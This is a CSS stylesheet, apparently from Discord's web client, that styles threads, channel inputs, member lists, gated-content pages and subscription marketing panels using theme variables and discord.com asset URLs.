.checkbox-2db6gx:hover { color: var(--interactive-hover); }

.checkbox-2db6gx:active { color: var(--interactive-active); }

.privateThreadDescription-3_57Hi { margin-top: 8px; }

.chat-1cCjJ5 .select-25Azxp { display: inline-grid; padding: 0px 2px 0px 4px; background-color: var(--background-tertiary); border: none; }

.chat-1cCjJ5 .select-25Azxp > svg { background-color: var(--background-primary); border-radius: 4px; height: 18px; margin-left: 8px; width: 18px; }

.form-3eU9kJ { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 0px; position: relative; width: 100%; }

.channelTextArea-3O-WhA { background-color: var(--background-primary); }

.channelTextAreaInner-1WnnRS { background-color: var(--deprecated-text-input-bg); border: 1px solid var(--deprecated-text-input-border); border-radius: 3px; max-height: none; transition: border-color 0.2s ease-in-out 0s; }

.channelTextAreaInnerFocused-M_uztw { border-color: var(--text-link); }

.channelTextAreaInnerError-2ti7q6 { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.privateThreadFormTitle-3i-lSj { display: flex; }

.privateThreadFormTitleText-3GEn8g { margin-right: 8px; }

.privateThreadFeaturePill-wa49np { background-color: var(--background-secondary-alt); padding: 1px 2px; border-radius: 16px; }

.submitContainer-g72mF- { flex-shrink: 0; }

.submitButton-10dlpk { height: 44px; margin: 0px 16px 24px; width: calc(100% - 32px); }

.messagePreview-3WlsGw { padding-bottom: 24px !important; }

.container-3o2xNf { background-color: var(--background-secondary-alt); border: 1px solid var(--background-secondary-alt); border-radius: 8px; box-sizing: border-box; cursor: pointer; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-bottom: 16px; position: relative; }

.container-3o2xNf:hover { border-color: var(--background-accent); }

.container-3o2xNf.hasUnreads-1TfDpS::before { content: ""; background-color: var(--interactive-active); position: absolute; height: 8px; width: 4px; border-radius: 0px 4px 4px 0px; top: 24px; left: 0px; margin-top: -4px; }

.container-3o2xNf.isOpen-b50l-P { border-color: var(--background-accent); }

.top-1zng2d { -webkit-box-align: center; align-items: center; display: flex; padding: 12px 15px; }

.insanity-239r0S { box-sizing: border-box; max-height: 200px; overflow: hidden; padding-top: 8px; }

.insanity-239r0S, .replyLine-30X9c- { background-color: var(--background-secondary); }

.replyLine-30X9c- { -webkit-box-align: center; align-items: center; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; display: flex; padding: 8px 16px 8px 70px; }

.replyIcon-xf6FZO { margin-right: 4px; }

.lastMessageAuthor-3113AV { margin: 0px 4px; }

.typingUsers-2iep3b { inset: auto auto auto -9px; font-size: 12px; height: 16px; padding: 0px; position: relative; }

.left-31zv-B { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 1; flex-grow: 1; min-width: 0px; }

.threadName-16qWD3 { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; min-width: 0px; }

.threadNameLine-1FhxJr { display: flex; -webkit-box-align: center; align-items: center; }

.threadName-16qWD3 { color: var(--header-primary); }

.facepile-34OXxR { margin-left: 16px; flex-shrink: 0; }

.container-24XcKY { background-color: var(--background-primary); -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-width: 0px; position: relative; width: 100%; }

.container-24XcKY, .sectionHeader-3aai-s { display: flex; }

.sectionHeader-3aai-s { -webkit-box-align: end; align-items: flex-end; box-sizing: border-box; font-weight: 700; height: 56px; -webkit-box-pack: justify; justify-content: space-between; margin-bottom: 8px; text-transform: uppercase; }

.firstSectionHeader-lFAxDj { height: 24px; }

.sectionHeader-3aai-s, .thread-2FJGbQ { margin-left: 20px; margin-right: 20px; }

.topic-2SR5if { background-color: var(--background-secondary); border-radius: 8px; border: 1px solid var(--background-secondary); box-sizing: border-box; cursor: pointer; -webkit-box-flex: 1; flex: 1 1 auto; height: 72px; margin: 0px 20px 8px; min-width: 0px; overflow: hidden; padding: 15px; position: relative; text-overflow: ellipsis; white-space: pre-wrap; }

.topicModal-12hFEq { padding-bottom: 20px; }

.noticeIcon-7AxOsl { color: var(--header-secondary); margin-right: 8px; width: 16px; height: 16px; }

.icon-iDUzSK { -webkit-box-align: center; align-items: center; display: flex; }

.count-bFJRJm { margin-left: 4px; }

.icon-iDUzSK:hover .count-bFJRJm { color: var(--interactive-hover); }

.browser-2NpbWS { box-shadow: var(--elevation-stroke),var(--elevation-high); min-height: 400px; max-height: 80vh; max-width: 600px; min-width: 480px; width: 35vw; overflow: hidden; }

.strikethrough-otdQWt { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.disableFlex-2QuzIB { -webkit-box-flex: 0; flex: 0 0 auto; }

.akaBadge-1M-1Gw { margin-left: 8px; background-color: var(--background-secondary); }

.akaBadge-1M-1Gw, .nicknames-1XK4Zt { color: var(--header-secondary); }

.nicknames-1XK4Zt { width: 100%; -webkit-box-flex: 1; flex: 1 1 auto; min-width: 0px; margin: 0px 0px 0px 8px; font-size: 14px; line-height: 18px; font-weight: 500; }

.nicknames-1XK4Zt span { cursor: pointer; }

.avatars-2Vu8nT { margin-left: 8px; }

.avatar-3Bhz0p { display: block; border-radius: 50%; width: 16px; height: 16px; cursor: pointer; }

.tooltip-2ADRCz { display: inline; }

.spacer-3kEb8l { -webkit-box-flex: 1; flex: 1 1 auto; }

.moreAvatars-DvjcrZ { box-sizing: border-box; color: var(--interactive-normal); width: 16px; height: 16px; cursor: pointer; overflow: hidden; }

.moreAvatars-DvjcrZ:hover { color: var(--interactive-hover); }

.plusIcon-1tBDmr { display: block; margin-top: -1px; margin-left: -1px; width: 18px; height: 18px; }

.container-1MGX4D { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; position: relative; }

.container-1MGX4D, .container-1MGX4D *, .input-2A_zIr { box-sizing: border-box; }

.input-2A_zIr { font-size: 16px; line-height: 32px; height: 32px; padding: 0px 6px; border: none; text-overflow: ellipsis; overflow: hidden; white-space: pre; border-radius: 3px; -webkit-app-region: no-drag; background: transparent; color: var(--text-normal); }

.input-2A_zIr:focus, .outer-o9SjPm:hover .input-2A_zIr { box-shadow: inset 0 0 0 1px var(--background-tertiary); }

.input-2A_zIr:focus { background-color: var(--background-secondary); }

.container-3FPLD3 { -webkit-box-flex: 1; flex: 1 1 auto; display: flex; -webkit-box-pack: start; justify-content: flex-start; }

.channelName-qsg_a_, .container-3FPLD3 { position: relative; min-width: 0px; }

.channelName-qsg_a_ { box-sizing: border-box; -webkit-box-flex: 0; flex: 0 1 auto; padding: 0px 4px 0px 0px; max-width: 100%; margin-left: -6px; }

.channelName-qsg_a_ div, .channelName-qsg_a_ input { font-family: var(--font-display); font-weight: 600; }

.topic-TCb_qw { -webkit-box-flex: 1; flex: 1 1 auto; min-width: 0px; margin: 0px 0px 0px 8px; font-weight: 500; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; font-size: 14px; line-height: 18px; color: var(--header-secondary); }

.topic-TCb_qw a { color: var(--text-link); }

.topic-TCb_qw a:hover { text-decoration: underline; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .topic-TCb_qw { font-weight: 400; }
}

.topic-TCb_qw.expandable-9fI_e3 { cursor: pointer; }

.content-38qMG0 { padding-bottom: 20px; }

.bannerImg-Lp9SjO { object-fit: cover; box-shadow: var(--elevation-low); }

.wrapper-37dL_U { -webkit-box-flex: 0; flex: 0 0 auto; }

.contentWrapper-3wXY8L { background-color: var(--background-secondary); padding: 16px 12px 0px; }

.contentWrapperInner-17OxmC { background-color: var(--background-secondary-alt); border-radius: 4px; padding: 12px 12px 4px; text-align: center; }

.bannerPlaceholder-edbQI2 { display: block; width: 100%; }

.heading-2_QxTa { font-family: var(--font-display); font-size: 17px; line-height: 24px; }

.heading-2_QxTa, .subHeading-zBtvcw { margin-bottom: 12px; }

.tierIconWrapper--Xy2yD { margin: 0px auto 6px; }

.tierIcon-3dEt1r { height: 20px; width: 20px; }

.primaryCta-2eGDJA { margin-bottom: 4px; }

.container-1CU5bi { padding: 16px; color: var(--text-normal); background: var(--background-secondary); height: 100%; }

.sectionHeader-3P67IO { margin-bottom: 24px; display: flex; -webkit-box-align: center; align-items: center; }

.header-P3PHw3 { color: var(--header-secondary); font-weight: 700; }

.section-3uZwkF { margin-bottom: 24px; }

.gearIcon-1rDeR- { color: var(--interactive-normal); margin-left: 4px; height: 16px; cursor: pointer; }

.gearIcon-1rDeR-:active, .gearIcon-1rDeR-:hover { color: var(--interactive-active); }

.channelName-3qow4K { display: flex; }

.channelTextIcon-8VTUi7 { margin: 2px 4px 0px 0px; flex-shrink: 0; }

.channelTopic-tFyOh7 { margin-bottom: 8px; }

.editTopicButton-xH3V60 { color: var(--text-link); }

.divider-3bkMhY { margin: 24px 0px; height: 1px; background-color: var(--background-modifier-accent); }

@-webkit-keyframes placeholderPulse-2rZrru { 
  0% { opacity: 0.5; }
  50% { opacity: 1; }
  100% { opacity: 0.5; }
}

@keyframes placeholderPulse-2rZrru { 
  0% { opacity: 0.5; }
  50% { opacity: 1; }
  100% { opacity: 0.5; }
}

.container-2wlB3z { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; background: var(--background-secondary); height: 100%; }

.container-2wlB3z, .membersWrap-2h-GB4 { display: flex; }

.membersWrap-2h-GB4 { min-width: 240px; position: relative; max-height: 100%; }

.members-1998pB { width: 240px; padding: 0px 0px 20px; -webkit-box-flex: 0; flex: 0 0 auto; height: auto; }

.members-1998pB, .members-1998pB > div { background-color: var(--background-secondary); }

.membersGroup-v9BXpm { padding: 24px 8px 0px 16px; height: 40px; }

.hiddenMembers-2dcs_q { -webkit-box-pack: center; justify-content: center; }

.hiddenText-1XVQBb { align-self: center; }

.memberGroupsPlaceholder-3mwPub { border-radius: 8px; background-color: var(--background-primary); height: 12px; width: 40%; animation: 3s ease-in-out 0s infinite normal none running placeholderPulse-2rZrru; }

.addMembersButton-1eG9YC { padding-top: 8px; padding-left: 8px; }

.addMembersIcon-1Bz_VS { background-color: var(--background-secondary-alt); border-radius: 50%; height: 32px; width: 32px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.roleIcon-QSb6pw { margin-right: 4px; vertical-align: top; }

.container-2PDP7D { width: 240px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; background: var(--background-secondary); }

.members-2upGyL { -webkit-box-flex: 1; flex: 1 1 auto; min-height: 1px; }

.tabs-3L9Rgq .tab-XC_yrg { margin: 0px 4px 0px 0px; }

.tabs-3L9Rgq { -webkit-box-flex: 0; flex: 0 0 auto; max-height: 56px; padding: 16px; border-bottom: 1px solid var(--background-modifier-accent); }

.theme-dark .tabs-3L9Rgq .tab-XC_yrg.active-2SVYP5, .theme-dark .tabs-3L9Rgq .tab-XC_yrg.active-2SVYP5:hover { background-color: var(--background-accent); }

.container-2Bfwy4 { flex-direction: column; }

.container-2Bfwy4, .content-MLh4nU { width: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; }

.content-MLh4nU { -webkit-box-flex: 1; flex: 1 0 auto; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; background-color: var(--background-primary); }

.splashImage-13vBzp { width: 400px; margin-bottom: 24px; }

.splashHeader-ehL7gZ { color: var(--header-primary); margin-bottom: 8px; }

.splashHeader-ehL7gZ, .splashText-3jk87t { width: 580px; text-align: center; }

.noChannel-3LgMRp { -webkit-box-flex: 1; flex: 1 1 auto; position: relative; }

.divider-3zoCmA { height: 1px; margin: 16px 16px 0px; background-color: var(--background-modifier-accent) !important; }

.private-1mt6w1 { -webkit-box-align: center; align-items: center; display: flex; font-weight: 700; padding: 16px 16px 8px; text-transform: uppercase; }

.instructions-O3OCc7 { padding: 0px 16px; }

.emptyState-2KU9WW { box-sizing: border-box; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: start; justify-content: flex-start; padding: 16px; text-align: center; }

.emptyStateHeader-W2ruuN { font-weight: 700; text-align: left; text-transform: uppercase; }

.emptyStateIcon-1JWNn4 { border-radius: 100%; background-color: var(--background-tertiary); color: var(--interactive-normal); height: 56px; width: 56px; }

.emptyStateIcon-1JWNn4, .emptyStateIconContainer-3CFwua { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-pack: center; justify-content: center; }

.emptyStateIconContainer-3CFwua { margin: 32px 0px; position: relative; }

.emptyStateStars-3H0CeG { margin: 0px auto; position: absolute; top: -13px; }

.emptyStateSubtext-2G0UeF { margin-top: 8px; }

.strikethrough-2zG_nD { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.gatedContent-3-B7qB { width: 100%; height: 100%; margin-left: auto; margin-right: auto; padding-left: 20px; padding-right: 20px; padding-bottom: 20px; box-sizing: border-box; }

.image-2LqJex { width: 250px; height: 250px; background-size: 100% 100%; background-repeat: no-repeat; background-position: 50% center; }

.title-1VcOOr { font-size: 24px; line-height: 28px; font-weight: 600; max-width: 640px; padding: 0px 20px; text-align: center; }

.description-2ydcYn { font-size: 16px; line-height: 1.4; max-width: 440px; text-align: center; }

.description-2ydcYn a, .title-1VcOOr a { color: var(--text-link); }

.separator-2IZ9ro { width: 100px; height: 1px; background-color: rgb(79, 84, 92); }

.action-yrVND8 { margin-left: 8px; margin-right: 8px; }

.theme-light .image-2LqJex { background-image: url("https://discord.com/assets/71a7939f9ef15158d98df9631376f556.svg"); }

.theme-light .title-1VcOOr { color: rgb(79, 84, 92); }

.theme-light .description-2ydcYn { color: rgb(114, 118, 125); }

.theme-dark .image-2LqJex { background-image: url("https://discord.com/assets/f6a272d9794eb33939cf1baa953ceb3e.svg"); }

.theme-dark .title-1VcOOr { color: rgb(255, 255, 255); }

.theme-dark .description-2ydcYn { color: rgb(185, 187, 190); }

.theme-dark .background-opacity-low .description-2ydcYn, .theme-dark .background-opacity-low .title-1VcOOr { color: rgb(255, 255, 255); text-shadow: rgb(54, 57, 63) 0px 0px 1px, rgb(54, 57, 63) 1px 1px 0px; }

.theme-dark .background-opacity-low .description-2ydcYn a, .theme-dark .background-opacity-low .title-1VcOOr a { text-shadow: rgba(54, 57, 63, 0.7) 0px 0px 1px, rgba(54, 57, 63, 0.7) 1px 1px 0px; }

.theme-dark .background-opacity-low .separator-2IZ9ro { background-color: rgb(220, 221, 222); }

.theme-dark .background-opacity-medium .description-2ydcYn, .theme-dark .background-opacity-medium .title-1VcOOr { color: rgb(246, 246, 247); text-shadow: rgb(54, 57, 63) 0px 0px 1px, rgb(54, 57, 63) 1px 1px 0px; }

.theme-dark .background-opacity-medium .description-2ydcYn a, .theme-dark .background-opacity-medium .title-1VcOOr a { text-shadow: rgba(32, 34, 37, 0.8) 0px 0px 1px, rgba(32, 34, 37, 0.8) 1px 1px 0px; }

.theme-dark .background-opacity-medium .separator-2IZ9ro { background-color: rgb(185, 187, 190); }

.theme-dark .background-opacity-high .description-2ydcYn, .theme-dark .background-opacity-high .title-1VcOOr { color: rgb(246, 246, 247); text-shadow: rgb(54, 57, 63) 0px 0px 1px, rgb(54, 57, 63) 1px 1px 0px; }

.scroller-11cdZM { -webkit-box-flex: 1; flex: 1 1 auto; min-width: 1px; min-height: 1px; height: auto; }

.wrapper-3V1W3E { -webkit-box-flex: 1; flex: 1 0 auto; margin: auto; height: 100%; width: 100%; }

.ageGatedImage-ZIiHiE { width: 250px; height: 210px; }

.theme-dark .ageGatedImage-ZIiHiE, .theme-light .ageGatedImage-ZIiHiE { background-image: url("https://discord.com/assets/87f8416faec0691b96525d0bb3027809.svg"); }

.container-2fdleV { margin-bottom: 40px; padding-bottom: 40px; border-bottom: 1px solid rgba(114, 118, 125, 0.3); }

.sectionDescription-eqJjiu { color: var(--header-secondary); }

.card-lS6thf { background-image: linear-gradient(90deg,hsl(160,calc(var(--saturation-factor, 1)*81.3%),35.7%),hsl(198,calc(var(--saturation-factor, 1)*81.5%),46.7%)); }

.handImage-3BLOdd { margin: -6px 16px -6px -16px; }

.textContainer-2NQ_Wq { -webkit-box-flex: 1; flex: 1 1 0%; position: relative; }

.header-1oVQw_ { margin-bottom: 4px; margin-top: 5px; }

.description-2K8IwC, .header-1oVQw_ { color: rgb(255, 255, 255); }

.description-2K8IwC strong { font-weight: 500; }

.headerImage-cGbAzI { width: 100%; height: 146px; object-fit: cover; }

.closeButton-VeuSyr { position: absolute; top: 16px; right: 16px; }

.content-23ariT { padding: 16px; }

.title-1dEnLs { color: var(--interactive-active); font-weight: 500; margin-bottom: 2px; }

.description-2IHiXB { color: var(--interactive-normal); margin-bottom: 16px; }

.benefits-2aXsWu { padding: 16px; border-radius: 8px; background-color: var(--background-secondary); }

.footer-21GRHw { -webkit-box-pack: justify; justify-content: space-between; }

.goBackButton-QRhl29 { color: var(--interactive-active); padding: 0px; min-width: 0px; }

.container-1FUBPk { background-color: var(--background-secondary); border-radius: 8px; padding: 16px; }

.headerContainer-1watmB { display: flex; -webkit-box-align: center; align-items: center; cursor: pointer; }

.headerTextContainer-1SZxGL { -webkit-box-flex: 1; flex: 1 1 0%; margin-left: 16px; }

.guildName-2KwVeo { font-weight: 500; margin-bottom: 2px; color: var(--interactive-active); }

.arrowIcon-12ejA5, .tierName-3rqCZL { color: var(--interactive-normal); }

.arrowIcon-12ejA5 { width: 24px; height: 24px; }

.arrowIconExpanded-r-FAGq { transform: rotate(180deg); }

.headerSubtitleContainer-274Cnv { display: flex; -webkit-box-align: center; align-items: center; gap: 6px; }

.divider-1IPCi0 { margin: 16px 0px; border-bottom: 1px solid rgba(255, 255, 255, 0.06); }

.subscriptionInfoCards-3eW2sn { display: flex; gap: 16px; }

.container-1FUBPk .paymentSourceDropdown-LJU58v { margin-bottom: 16px; }

.container-1FUBPk .paymentSourceDropdown-LJU58v, .infoCard-1LURec, .paymentSourceDropdownOption-3nPa_l { background-color: var(--background-secondary-alt); }

.infoCard-1LURec { -webkit-box-flex: 1; flex: 1 1 0%; padding: 16px; border-radius: 8px; margin-bottom: 16px; }

.infoCardLabel-2DD3dB { margin-bottom: 16px; color: var(--interactive-normal); text-transform: uppercase; }

.infoCardValue-10xVHD { color: var(--header-primary); font-weight: 300; }

.rowButton-W4aAfJ { background-color: var(--background-secondary-alt); cursor: pointer; }

.rowButton-W4aAfJ:first-child { border-radius: 8px 8px 0px 0px; }

.rowButton-W4aAfJ:last-child { border-radius: 0px 0px 8px 8px; }

.rowButton-W4aAfJ:last-child .rowButtonContent-oD44RJ { border-bottom: none; }

.rowButtonContent-oD44RJ { display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; margin-left: 16px; padding: 16px 16px 16px 0px; border-bottom: 1px solid rgba(255, 255, 255, 0.06); }

.rowButtonArrow-3RhMRE { width: 24px; height: 24px; transform: rotate(-90deg); color: var(--interactive-normal); }

.rowButtonLabel-1sM49_ { color: var(--interactive-active); font-weight: 500; }

.pageDescription-3dQlpm { margin-bottom: 40px; }

.subscriptionsContainer-3zucsP { gap: 16px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.backButtonContents--0uix-, .subscriptionsContainer-3zucsP { display: flex; }

.backButtonContents--0uix- { color: var(--text-link); -webkit-box-align: center; align-items: center; font-size: 16px; }

.arrowIcon-dGAbFP { width: 20px; height: 20px; transform: rotate(270deg); margin-right: 4px; }

.container-1KLQDM { -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; }

.container-1KLQDM, .loading-3kzdRC { display: flex; }

.loading-3kzdRC { -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; height: 520px; }

.background-3NP2Rg { position: absolute; inset: 0px; background-repeat: no-repeat; }

.content-2c3hgM { position: relative; }

.sectionTier2-mtdT6c { text-align: center; margin-top: 32px; }

.marketingRefreshTier2Intro-2L26Rm { max-width: 325px; }

.marketingRefreshTitle-3pOyQb { color: var(--header-primary); font-size: 24px; font-weight: 600; line-height: 30px; margin-bottom: 8px; margin-top: 0px; }

.marketingRefreshSubtitle-3jft-o { color: var(--text-normal); font-size: 16px; line-height: 20px; margin: 0px; }

.marketingRefreshHeaderAnimation-KQPxGl { width: 332px; margin-left: 16px; }

.marketingRefreshTier2Cta-bw9Vyc { text-align: center; margin-top: 48px; }

.marketingRefreshSectionTier1-dRwS-6 { color: var(--text-normal); display: flex; border-top: 1px solid var(--background-modifier-accent); margin-top: 48px; padding-top: 48px; }

.marketingRefreshTier1Graphic-9B12wx { display: block; height: 148px; margin-right: 60px; width: 175px; flex-shrink: 0; }

@media (max-width: 920px) {
  .marketingRefreshTier1Graphic-9B12wx { display: none; }
}

.marketingRefreshTier1Logo-sY6Lgd { color: var(--header-primary); display: block; height: 20px; margin-bottom: 8px; width: 194px; }

.marketingRefreshDescription-UL0ZTA { font-size: 16px; line-height: 20px; margin: 0px 0px 16px; }

.tier1InfoTooltipList-1tVi94 { list-style-type: disc; padding-left: 15px; }

.tier1InfoTooltipListItem-HtMMGF { padding: 2px; }

.tier1InfoTooltipListItemOffsetItem-17hZH2 { position: relative; left: -5px; }

.tier1InfoIcon-3Voc4Y { width: 10px; height: 10px; }

.tier2Buttons-RBEMRE { margin-top: 24px; }

.subSectionHeader-32l16N { text-transform: uppercase; }

.sectionAccountCredit-1uNhnJ, .subscriptionDetails-1dUmjl { padding-bottom: 40px; margin-bottom: 40px; border-bottom: 1px solid; }

.accountCredit-2hUNux { margin-top: 16px; }

.accountCreditTitle-2MXzx- { margin-bottom: 16px; }

.accountCreditDescription-g6Pzho { color: var(--text-normal); line-height: 20px; margin-bottom: 16px; margin-top: 0px; }

.marketingRefreshTier2PlanWrapper-21Joud, .tier2Plan-39BBFB { display: flex; }

.marketingRefreshTier2PlanWrapper-21Joud { margin-bottom: 48px; }

.marketingRefreshTier2PlanName-2O-mVv { color: var(--logo-primary); display: block; height: 60px; margin-bottom: 32px; width: auto; }

.subscriptionsRedirectContainer-21LuI0 { display: flex; -webkit-box-align: center; align-items: center; background-color: var(--background-secondary); padding: 8px; border: none; margin-bottom: 24px; }

.subscriptionsRedirectWarningIcon-1sYeH0 { margin-right: 6px; height: 13px; width: 13px; }

.theme-light .sectionAccountCredit-1uNhnJ, .theme-light .subscriptionDetails-1dUmjl { border-color: rgba(185, 187, 190, 0.3); }

.theme-light .tier1Banner-1BTgv0 { background-image: url("https://discord.com/assets/f3c810f01750d03953bf7227d360ee96.svg"); background-color: rgb(246, 246, 247); color: rgb(114, 118, 125); }

.theme-dark .sectionAccountCredit-1uNhnJ, .theme-dark .subscriptionDetails-1dUmjl { border-color: rgba(114, 118, 125, 0.3); }

.theme-dark .tier1Banner-1BTgv0 { background-image: url("https://discord.com/assets/ea6fbee8930d2ece33ce9c1cabb73304.svg"); background-color: rgb(47, 49, 54); color: rgb(246, 246, 247); }

.trialBanner-1l29Ev { -webkit-box-align: center; align-items: center; background-image: linear-gradient(4.5deg,hsl(270,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(342,calc(var(--saturation-factor, 1)*58%),72.9%)); border-radius: 4px; display: flex; -webkit-box-pack: justify; justify-content: space-between; margin-bottom: 30px; padding: 16px; }

.trialIcon-3uSjEK { align-self: flex-start; color: rgb(255, 255, 255); min-width: 24px; margin-right: 8px; }

.trialDescription-240N1y { color: rgb(255, 255, 255); font-weight: 500; }

.trialButton-3QE_RI { border-radius: 4px; min-width: auto; padding-left: 20px; padding-right: 20px; margin-left: 16px; }

.perkList-2pAPzu, .perkListItem-1BjVlm { margin-bottom: 16px; }

.perkListItem-1BjVlm { display: flex; -webkit-box-align: center; align-items: center; }

.perkListItem-1BjVlm:last-child { margin-bottom: 0px; }

.perkListItemIcon-2B4aA2 { width: 20px; height: 20px; flex-shrink: 0; margin-right: 16px; }

.theme-dark .tier1ProfilePerk-2fHnq4 { color: rgb(64, 135, 237); }

.theme-dark .tier1BoostPerk-2scivP { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.theme-dark .tier1CustomEmojiPerk-BTdh02 { color: rgb(254, 230, 79); }

.theme-dark .tier1UploadPerk-othO4W { color: rgb(119, 107, 255); }

.theme-dark .tier1StreamPerk-2R42xH { color: rgb(155, 221, 115); }

.theme-light .tier1ProfilePerk-2fHnq4 { color: rgb(64, 135, 237); }

.theme-light .tier1BoostPerk-2scivP { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.theme-light .tier1CustomEmojiPerk-BTdh02 { color: rgb(208, 130, 12); }

.theme-light .tier1UploadPerk-othO4W { color: rgb(119, 107, 255); }

.theme-light .tier1StreamPerk-2R42xH { color: rgb(105, 151, 77); }

.container-2_SqFl { position: relative; display: inline-block; text-transform: uppercase; }

.tag-1aipTK { background-color: var(--brand-experiment); font-size: 12px; line-height: 16px; padding: 0px 4px; }

.sparkle-3AiT4r { position: absolute; }

.sparkleStarTopRight-1Q_Axj { bottom: calc(100% - 4px); left: calc(100% - 5px); width: 12.75px; height: 12.75px; }

.sparkleStarRight-1oQ7xe { bottom: 3px; left: calc(100% + 1.31px); }

.sparkleStarBottomLeft-2gpmN5, .sparkleStarRight-1oQ7xe { height: 7.44px; width: 7.44px; }

.sparkleStarBottomLeft-2gpmN5 { top: calc(100% + 0.56px); left: -1px; }

.theme-dark .sparkle-3AiT4r { color: rgb(255, 255, 255); }

.containerColored-BR5GT4 .sparkle-3AiT4r.sparkleStarTopRight-1Q_Axj, .theme-light .sparkle-3AiT4r.sparkleStarTopRight-1Q_Axj { color: rgb(131, 221, 197); }

.containerColored-BR5GT4 .sparkle-3AiT4r.sparkleStarRight-1oQ7xe, .theme-light .sparkle-3AiT4r.sparkleStarRight-1oQ7xe { color: rgb(225, 91, 225); }

.containerColored-BR5GT4 .sparkle-3AiT4r.sparkleStarBottomLeft-2gpmN5, .theme-light .sparkle-3AiT4r.sparkleStarBottomLeft-2gpmN5 { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),63.3%); }

.buttons-2-EdE8 { display: flex; }

.buttonsCenter-11FqDP { -webkit-box-pack: center; justify-content: center; }

.button-1PXUl0 { margin-left: 20px; }

.button-1PXUl0:first-child { margin-left: 0px; }

.container-3t4r4v { box-sizing: border-box; max-width: 660px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; position: relative; border-radius: 8px; background: linear-gradient(100.8deg, rgb(88, 101, 242) 20.51%, rgb(119, 133, 245) 53.7%, rgb(192, 204, 255) 87.86%); color: var(--text-normal); padding: 24px 0px 24px 24px; overflow: hidden; }

.snow-2tvtnW { position: absolute; left: 0px; top: 0px; height: 100%; width: 100%; z-index: 1; pointer-events: none; }

.header-ECakC0 { color: rgb(255, 255, 255); }

.leftContainer-1Xzwly { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; position: relative; -webkit-box-flex: 1; flex: 1 1 0px; z-index: 2; }

.headerIcon-13NgrS { width: 136px; height: 56px; margin-bottom: 16px; color: rgb(255, 255, 255); }

.icon-2D5jTf { align-self: center; position: relative; z-index: 2; }

@media (max-width: 485px) {
  .icon-2D5jTf { display: none; }
}

.body-1cAnsJ { color: rgb(255, 255, 255); margin-top: 16px; text-align: left; max-width: 400px; z-index: 2; }

.button-3Vx9Uy { margin-top: 24px; align-self: baseline; z-index: 2; }

.buttonText-1yAzuu { display: flex; min-width: 0px; max-width: 140px; -webkit-box-align: center; align-items: center; flex-basis: content; -webkit-box-pack: center; justify-content: center; box-sizing: border-box; }

.buttonText-1yAzuu svg { min-width: 24px; }

.buttonText-1yAzuu span { text-overflow: ellipsis; overflow: hidden; max-width: 100%; }

.hero-EvfTTA { background-image: url("https://discord.com/assets/c952deb3636c5548cd116935f0ccf88a.svg"); background-position: 50% center; background-repeat: no-repeat; max-width: 660px; height: 464px; border-radius: 8px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.featureImage-2L9kA0, .featureTitle-W5O6R1, .hero-EvfTTA { }

.heroIcon-3QgOM5 { margin-top: 48px; width: 149px; height: 60px; color: rgb(255, 255, 255); }

.hero-EvfTTA .heroHeader-IulZgg { color: rgb(255, 255, 255); margin-top: 16px; }

.heroBody-2P4UF5 { color: rgb(255, 255, 255); margin-top: 4px; max-width: 312px; text-align: center; }

.heroButtons-2NvgKB { margin-top: 16px; }

.giftText-2hTHIg { color: rgb(255, 255, 255); -webkit-box-flex: 1; flex: 1 1 0px; }

.giftHeader-3ug7Od { padding-bottom: 10px; }

.theme-light .giftContainer-TKat2X { background-color: rgb(255, 255, 255); box-shadow: var(--elevation-medium); border: 1px solid var(--background-modifier-accent); }

.theme-dark .giftContainer-TKat2X { background-color: var(--background-secondary-alt); }

.giftContainer-TKat2X { border-radius: 8px; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; margin-top: 24px; padding: 24px; -webkit-box-pack: justify; justify-content: space-between; }

.giftButtonInner-1uBseI, .giftContainer-TKat2X { display: flex; }

.giftButtonInner-1uBseI { min-width: 0px; max-width: 140px; -webkit-box-pack: center; justify-content: center; box-sizing: border-box; }

.giftButtonInner-1uBseI svg { min-width: 24px; }

.giftButtonInner-1uBseI span { text-overflow: ellipsis; overflow: hidden; max-width: 100%; }

.giftButton-PuVuCU { align-self: center; margin-left: 24px; }

.featuresHeader-4YwLcc { margin-top: 32px; }

.featureGrid-3-fNl- { display: grid; gap: 16px; grid-template-columns: repeat(auto-fill, 206px); -webkit-box-pack: center; justify-content: center; margin-top: 16px; }

